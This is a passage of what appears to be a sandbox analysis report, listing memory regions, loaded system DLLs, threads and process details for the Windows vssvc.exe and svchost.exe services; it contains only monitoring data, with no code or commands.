0x1c3ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000840000" filename = "" Region: id = 316 start_va = 0x7fefd6a0000 end_va = 0x7fefd6aefff entry_point = 0x7fefd6a0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 318 start_va = 0x290000 end_va = 0x290fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000290000" filename = "" Region: id = 319 start_va = 0x1ca0000 end_va = 0x1d1ffff entry_point = 0x0 region_type = private name = "private_0x0000000001ca0000" filename = "" Region: id = 320 start_va = 0x7feff560000 end_va = 0x7feff5f8fff entry_point = 0x7feff560000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 321 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 322 start_va = 0x2a0000 end_va = 0x2a0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002a0000" filename = "" Region: id = 323 start_va = 0x1e60000 end_va = 0x1edffff entry_point = 0x0 region_type = private name = "private_0x0000000001e60000" filename = "" Region: id = 324 start_va = 0x7fefd0a0000 end_va = 0x7fefd0b6fff entry_point = 0x7fefd0a0000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 325 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 326 start_va = 0x7fefcda0000 end_va = 0x7fefcde6fff entry_point = 0x7fefcda0000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 327 start_va = 0x1ee0000 end_va = 0x21aefff entry_point = 0x1ee0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 328 start_va = 0x7fefd790000 end_va = 0x7fefd7a3fff entry_point = 0x7fefd790000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 331 start_va = 0x390000 end_va = 0x40ffff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 332 start_va = 0x1d60000 end_va = 0x1ddffff entry_point = 0x0 region_type = private name = "private_0x0000000001d60000" filename = "" Region: id = 333 start_va = 0x7fef6be0000 end_va = 0x7fef6bf3fff entry_point = 0x7fef6be0000 region_type = mapped_file name = "vss_ps.dll" filename = "\\Windows\\System32\\vss_ps.dll" (normalized: "c:\\windows\\system32\\vss_ps.dll") Region: id = 334 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 335 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Thread: id = 2 os_tid = 0xa28 Thread: id = 9 os_tid = 0xa6c Thread: id = 10 os_tid = 0xa74 Thread: id = 11 os_tid = 0xa88 Thread: id = 12 os_tid = 0xa8c Process: id = "3" image_name = "vssvc.exe" filename = "c:\\windows\\system32\\vssvc.exe" page_root = "0x325fb000" os_pid = "0xaa8" os_integrity_level = "0x4000" os_privileges = "0xe60b7e890" monitor_reason = "rpc_server" parent_id = "2" os_parent_pid = "0xa24" cmd_line = "C:\\Windows\\system32\\vssvc.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\VSS" [0xe], "NT AUTHORITY\\Logon Session 00000000:0004d122" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 336 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 337 start_va = 0x20000 end_va = 0x26fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 338 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 339 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 340 start_va = 0x50000 end_va = 0xb6fff entry_point = 0x50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 341 start_va = 0xc0000 end_va = 0x17ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 342 start_va = 0x180000 end_va = 0x181fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000180000" filename = "" Region: id = 343 start_va = 0x190000 end_va = 0x1a0fff entry_point = 0x190000 region_type = mapped_file name = "vssvc.exe.mui" filename = "\\Windows\\System32\\en-US\\VSSVC.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\vssvc.exe.mui") Region: id = 344 start_va = 0x1b0000 end_va = 0x22ffff entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 345 start_va = 0x230000 end_va = 0x230fff entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 346 start_va = 0x240000 end_va = 0x240fff entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 347 start_va = 0x250000 end_va = 0x250fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000250000" filename = "" Region: id = 348 start_va = 0x270000 end_va = 0x2effff entry_point = 0x0 region_type = private name = "private_0x0000000000270000" filename = "" Region: id = 349 start_va = 0x320000 end_va = 0x32ffff entry_point = 0x0 region_type = private name = "private_0x0000000000320000" filename = "" Region: id = 350 start_va = 0x350000 end_va = 0x3cffff entry_point = 0x0 region_type = private name = "private_0x0000000000350000" filename = "" Region: id = 351 start_va = 0x420000 end_va = 0x51ffff entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 352 start_va = 0x520000 end_va = 0x61ffff entry_point = 0x0 region_type = private name = "private_0x0000000000520000" filename = "" Region: id = 353 start_va = 0x620000 end_va = 0x7a7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000620000" filename = "" Region: id = 354 start_va = 0x7b0000 end_va = 0x930fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007b0000" filename = "" Region: id = 355 start_va = 0x940000 end_va = 0xd32fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000940000" filename = "" Region: id = 356 start_va = 0xd60000 end_va = 0xddffff entry_point = 0x0 region_type = private name = "private_0x0000000000d60000" filename = "" Region: id = 357 start_va = 0xea0000 end_va = 0xf1ffff entry_point = 0x0 region_type = private name = "private_0x0000000000ea0000" filename = "" Region: id = 358 start_va = 0xff0000 end_va = 0x106ffff entry_point = 0x0 region_type = private name = "private_0x0000000000ff0000" filename = "" Region: id = 359 start_va = 0x1070000 end_va = 0x133efff entry_point = 0x1070000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 360 start_va = 0x1430000 end_va = 0x14affff entry_point = 0x0 region_type = private name = "private_0x0000000001430000" filename = "" Region: id = 361 start_va = 0x77640000 end_va = 0x77739fff entry_point = 0x77640000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 362 start_va = 0x77740000 end_va = 0x7785efff entry_point = 0x77740000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 363 start_va = 0x77860000 end_va = 0x77a08fff entry_point = 0x77860000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 364 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 365 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 366 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 367 start_va = 0xffe80000 end_va = 0x10000afff entry_point = 0xffe80000 region_type = mapped_file name = "vssvc.exe" filename = "\\Windows\\System32\\VSSVC.exe" (normalized: "c:\\windows\\system32\\vssvc.exe") Region: id = 368 start_va = 0x7fef4390000 end_va = 0x7fef43a3fff entry_point = 0x7fef4390000 region_type = mapped_file name = "xolehlp.dll" filename = "\\Windows\\System32\\xolehlp.dll" (normalized: "c:\\windows\\system32\\xolehlp.dll") Region: id = 369 start_va = 0x7fef43b0000 end_va = 0x7fef43b8fff entry_point = 0x7fef43b0000 region_type = mapped_file name = "fltlib.dll" filename = "\\Windows\\System32\\fltLib.dll" (normalized: "c:\\windows\\system32\\fltlib.dll") Region: id = 370 start_va = 0x7fef43c0000 end_va = 0x7fef43c9fff entry_point = 0x7fef43c0000 region_type = mapped_file name = "virtdisk.dll" filename = "\\Windows\\System32\\virtdisk.dll" (normalized: "c:\\windows\\system32\\virtdisk.dll") Region: id = 371 start_va = 0x7fef6be0000 end_va = 0x7fef6bf3fff entry_point = 0x7fef6be0000 region_type = mapped_file name = "vss_ps.dll" filename = "\\Windows\\System32\\vss_ps.dll" (normalized: "c:\\windows\\system32\\vss_ps.dll") Region: id = 372 start_va = 0x7fef7230000 end_va = 0x7fef7248fff entry_point = 0x7fef7230000 region_type = mapped_file name = "resutils.dll" filename = "\\Windows\\System32\\resutils.dll" (normalized: "c:\\windows\\system32\\resutils.dll") Region: id = 373 start_va = 0x7fef7250000 end_va = 0x7fef729ffff entry_point = 0x7fef7250000 region_type = mapped_file name = "clusapi.dll" filename = "\\Windows\\System32\\clusapi.dll" (normalized: "c:\\windows\\system32\\clusapi.dll") Region: id = 374 start_va = 0x7fef7e80000 end_va = 0x7fef7e96fff entry_point = 0x7fef7e80000 region_type = mapped_file name = "vsstrace.dll" filename = "\\Windows\\System32\\vsstrace.dll" (normalized: "c:\\windows\\system32\\vsstrace.dll") Region: id = 375 start_va = 0x7fef7ea0000 end_va = 0x7fef804ffff entry_point = 0x7fef7ea0000 region_type = mapped_file name = "vssapi.dll" filename = "\\Windows\\System32\\vssapi.dll" (normalized: "c:\\windows\\system32\\vssapi.dll") Region: id = 376 start_va = 0x7fefb260000 end_va = 0x7fefb278fff entry_point = 0x7fefb260000 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll") Region: id = 377 start_va = 0x7fefb890000 end_va = 0x7fefb8a3fff entry_point = 0x7fefb890000 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll") Region: id = 378 start_va = 0x7fefb8b0000 end_va = 0x7fefb8c4fff entry_point = 0x7fefb8b0000 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 379 start_va = 0x7fefb8d0000 end_va = 0x7fefb8dbfff entry_point = 0x7fefb8d0000 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 380 start_va = 0x7fefb8e0000 end_va = 0x7fefb8f5fff entry_point = 0x7fefb8e0000 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 381 start_va = 0x7fefc970000 end_va = 0x7fefc97bfff entry_point = 0x7fefc970000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 382 start_va = 0x7fefcda0000 end_va = 0x7fefcde6fff entry_point = 0x7fefcda0000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 383 start_va = 0x7fefd0a0000 end_va = 0x7fefd0b6fff entry_point = 0x7fefd0a0000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 384 start_va = 0x7fefd290000 end_va = 0x7fefd2befff entry_point = 0x7fefd290000 region_type = mapped_file name = "authz.dll" filename = "\\Windows\\System32\\authz.dll" (normalized: "c:\\windows\\system32\\authz.dll") Region: id = 385 start_va = 0x7fefd340000 end_va = 0x7fefd353fff entry_point = 0x7fefd340000 region_type = mapped_file name = "cryptdll.dll" filename = "\\Windows\\System32\\cryptdll.dll" (normalized: "c:\\windows\\system32\\cryptdll.dll") Region: id = 386 start_va = 0x7fefd5a0000 end_va = 0x7fefd5c2fff entry_point = 0x7fefd5a0000 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 387 start_va = 0x7fefd6a0000 end_va = 0x7fefd6aefff entry_point = 0x7fefd6a0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 388 start_va = 0x7fefd790000 end_va = 0x7fefd7a3fff entry_point = 0x7fefd790000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 389 start_va = 0x7fefd900000 end_va = 0x7fefd96afff entry_point = 0x7fefd900000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 390 start_va = 0x7fefd970000 end_va = 0x7fefd989fff entry_point = 0x7fefd970000 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 391 start_va = 0x7fefdb00000 end_va = 0x7fefdb35fff entry_point = 0x7fefdb00000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 392 start_va = 0x7fefdb80000 end_va = 0x7fefdc48fff entry_point = 0x7fefdb80000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 393 start_va = 0x7fefdc50000 end_va = 0x7fefdd26fff entry_point = 0x7fefdc50000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 394 start_va = 0x7fefdd30000 end_va = 0x7fefdd3dfff entry_point = 0x7fefdd30000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 395 start_va = 0x7fefdd40000 end_va = 0x7fefdd6dfff entry_point = 0x7fefdd40000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 396 start_va = 0x7fefed10000 end_va = 0x7fefed76fff entry_point = 0x7fefed10000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 397 start_va = 0x7fefed80000 end_va = 0x7fefee88fff entry_point = 0x7fefed80000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 398 start_va = 0x7feff0f0000 end_va = 0x7feff1cafff entry_point = 0x7feff0f0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 399 start_va = 0x7feff1d0000 end_va = 0x7feff2fcfff entry_point = 0x7feff1d0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 400 start_va = 0x7feff300000 end_va = 0x7feff4d6fff entry_point = 0x7feff300000 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 401 start_va = 0x7feff4e0000 end_va = 0x7feff550fff entry_point = 0x7feff4e0000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 402 start_va = 0x7feff560000 end_va = 0x7feff5f8fff entry_point = 0x7feff560000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 403 start_va = 0x7feff850000 end_va = 0x7feff86efff entry_point = 0x7feff850000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 404 start_va = 0x7feff870000 end_va = 0x7feffa72fff entry_point = 0x7feff870000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 405 start_va = 0x7feffa80000 end_va = 0x7feffb1efff entry_point = 0x7feffa80000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 406 start_va = 0x7feffb80000 end_va = 0x7feffb80fff entry_point = 0x7feffb80000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 407 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 408 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 409 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 410 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 411 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 412 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 413 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 414 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 415 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Region: id = 416 start_va = 0x7fefbff0000 end_va = 0x7fefc00cfff entry_point = 0x7fefbff0000 region_type = mapped_file name = "samlib.dll" filename = "\\Windows\\System32\\samlib.dll" (normalized: "c:\\windows\\system32\\samlib.dll") Region: id = 417 start_va = 0x260000 end_va = 0x260fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 418 start_va = 0x7fefb1c0000 end_va = 0x7fefb226fff entry_point = 0x7fefb1c0000 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 554 start_va = 0x7fefc540000 end_va = 0x7fefc66bfff entry_point = 0x7fefc540000 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 559 start_va = 0x7fef3f20000 end_va = 0x7fef3fa4fff entry_point = 0x7fef3f20000 region_type = mapped_file name = "catsrvut.dll" filename = "\\Windows\\System32\\catsrvut.dll" (normalized: "c:\\windows\\system32\\catsrvut.dll") Region: id = 560 start_va = 0x7fef6bd0000 end_va = 0x7fef6bdbfff entry_point = 0x7fef6bd0000 region_type = mapped_file name = "mfcsubs.dll" filename = "\\Windows\\System32\\mfcsubs.dll" (normalized: "c:\\windows\\system32\\mfcsubs.dll") Thread: id = 13 os_tid = 0xac4 Thread: id = 14 os_tid = 0xac0 Thread: id = 15 os_tid = 0xabc Thread: id = 16 os_tid = 0xab8 Thread: id = 17 os_tid = 0xab4 Thread: id = 18 os_tid = 0xaac Thread: id = 19 os_tid = 0xac8 Thread: id = 37 os_tid = 0xad8 Thread: id = 45 os_tid = 0xba4 Thread: id = 67 os_tid = 0x940 Process: id = "4" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x18692000" os_pid = "0xf0" os_integrity_level = "0x4000" os_privileges = "0x60801000" monitor_reason = "rpc_server" parent_id = "3" os_parent_pid = "0xaa8" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EventSystem" [0xe], "NT SERVICE\\fdPHost" [0xa], "NT SERVICE\\lltdsvc" [0xa], "NT SERVICE\\netprofm" [0xa], "NT SERVICE\\nsi" [0xa], "NT SERVICE\\sppuinotify" [0xa], "NT SERVICE\\SstpSvc" [0xa], "NT SERVICE\\THREADORDER" [0xa], "NT SERVICE\\W32Time" [0xa], "NT SERVICE\\WdiServiceHost" [0xa], "NT SERVICE\\WebClient" [0xa], "NT SERVICE\\WinHttpAutoProxySvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000ddc8" [0xc000000f], "LOCAL" [0x7] Region: id = 419 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 420 start_va = 0x20000 end_va = 0x26fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 421 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 422 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 423 start_va = 0x50000 end_va = 0xb6fff entry_point = 0x50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 424 start_va = 0xc0000 end_va = 0x17ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 425 start_va = 0x180000 end_va = 0x181fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000180000" filename = "" Region: id = 426 start_va = 0x190000 end_va = 0x20ffff entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 427 start_va = 0x210000 end_va = 0x210fff entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 428 start_va = 0x220000 end_va = 0x220fff entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 429 start_va = 0x230000 end_va = 0x230fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000230000" filename = "" Region: id = 430 start_va = 0x240000 end_va = 0x250fff entry_point = 0x240000 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 431 start_va = 0x260000 end_va = 0x263fff entry_point = 0x260000 region_type = mapped_file name = "stdole2.tlb" filename = "\\Windows\\System32\\stdole2.tlb" (normalized: "c:\\windows\\system32\\stdole2.tlb") Region: id = 432 start_va = 0x270000 end_va = 0x271fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 433 start_va = 0x280000 end_va = 0x37ffff entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 434 start_va = 0x380000 end_va = 0x47ffff entry_point = 0x0 region_type = private name = "private_0x0000000000380000" filename = "" Region: id = 435 start_va = 0x480000 end_va = 0x480fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000480000" filename = "" Region: id = 436 start_va = 0x490000 end_va = 0x49ffff entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 437 start_va = 0x4a0000 end_va = 0x627fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004a0000" filename = "" Region: id = 438 start_va = 0x630000 end_va = 0x7b0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000630000" filename = "" Region: id = 439 start_va = 0x7c0000 end_va = 0xbb2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007c0000" filename = "" Region: id = 440 start_va = 0xbc0000 end_va = 0xbc0fff entry_point = 0x0 region_type = private name = "private_0x0000000000bc0000" filename = "" Region: id = 441 start_va = 0xc20000 end_va = 0xc9ffff entry_point = 0x0 region_type = private name = "private_0x0000000000c20000" filename = "" Region: id = 442 start_va = 0xd00000 end_va = 0xd7ffff entry_point = 0x0 region_type = private name = "private_0x0000000000d00000" filename = "" Region: id = 443 start_va = 0xdc0000 end_va = 0xe3ffff entry_point = 0x0 region_type = private name = "private_0x0000000000dc0000" filename = "" Region: id = 444 start_va = 0xe70000 end_va = 0xeeffff entry_point = 0x0 region_type = private name = "private_0x0000000000e70000" filename = "" Region: id = 445 start_va = 0xef0000 end_va = 0xf6ffff entry_point = 0x0 region_type = private name = "private_0x0000000000ef0000" filename = "" Region: id = 446 start_va = 0xf70000 end_va = 0xfeffff entry_point = 0x0 region_type = private name = "private_0x0000000000f70000" filename = "" Region: id = 447 start_va = 0xff0000 end_va = 0x106ffff entry_point = 0x0 region_type = private name = "private_0x0000000000ff0000" filename = "" Region: id = 448 start_va = 0x1080000 end_va = 0x108ffff entry_point = 0x0 region_type = private name = "private_0x0000000001080000" filename = "" Region: id = 449 start_va = 0x10a0000 end_va = 0x136efff entry_point = 0x10a0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 450 start_va = 0x1370000 end_va = 0x146ffff entry_point = 0x0 region_type = private name = "private_0x0000000001370000" filename = "" Region: id = 451 start_va = 0x1470000 end_va = 0x156ffff entry_point = 0x0 region_type = private name = "private_0x0000000001470000" filename = "" Region: id = 452 start_va = 0x1600000 end_va = 0x167ffff entry_point = 0x0 region_type = private name = "private_0x0000000001600000" filename = "" Region: id = 453 start_va = 0x16b0000 end_va = 0x172ffff entry_point = 0x0 region_type = private name = "private_0x00000000016b0000" filename = "" Region: id = 454 start_va = 0x1870000 end_va = 0x18effff entry_point = 0x0 region_type = private name = "private_0x0000000001870000" filename = "" Region: id = 455 start_va = 0x1930000 end_va = 0x193ffff entry_point = 0x0 region_type = private name = "private_0x0000000001930000" filename = "" Region: id = 456 start_va = 0x1960000 end_va = 0x19dffff entry_point = 0x0 region_type = private name = "private_0x0000000001960000" filename = "" Region: id = 457 start_va = 0x1a00000 end_va = 0x1a7ffff entry_point = 0x0 region_type = private name = "private_0x0000000001a00000" filename = "" Region: id = 458 start_va = 0x1aa0000 end_va = 0x1b9ffff entry_point = 0x0 region_type = private name = "private_0x0000000001aa0000" filename = "" Region: id = 459 start_va = 0x1bb0000 end_va = 0x1bbffff entry_point = 0x0 region_type = private name = "private_0x0000000001bb0000" filename = "" Region: id = 460 start_va = 0x1bc0000 end_va = 0x1c3ffff entry_point = 0x0 region_type = private name = "private_0x0000000001bc0000" filename = "" Region: id = 461 start_va = 0x1c40000 end_va = 0x1cbffff entry_point = 0x0 region_type = private name = "private_0x0000000001c40000" filename = "" Region: id = 462 start_va = 0x1cc0000 end_va = 0x1d7ffff entry_point = 0x1cc0000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 463 start_va = 0x1db0000 end_va = 0x1e2ffff entry_point = 0x0 region_type = private name = "private_0x0000000001db0000" filename = "" Region: id = 464 start_va = 0x1e30000 end_va = 0x1eaffff entry_point = 0x0 region_type = private name = "private_0x0000000001e30000" filename = "" Region: id = 465 start_va = 0x1f30000 end_va 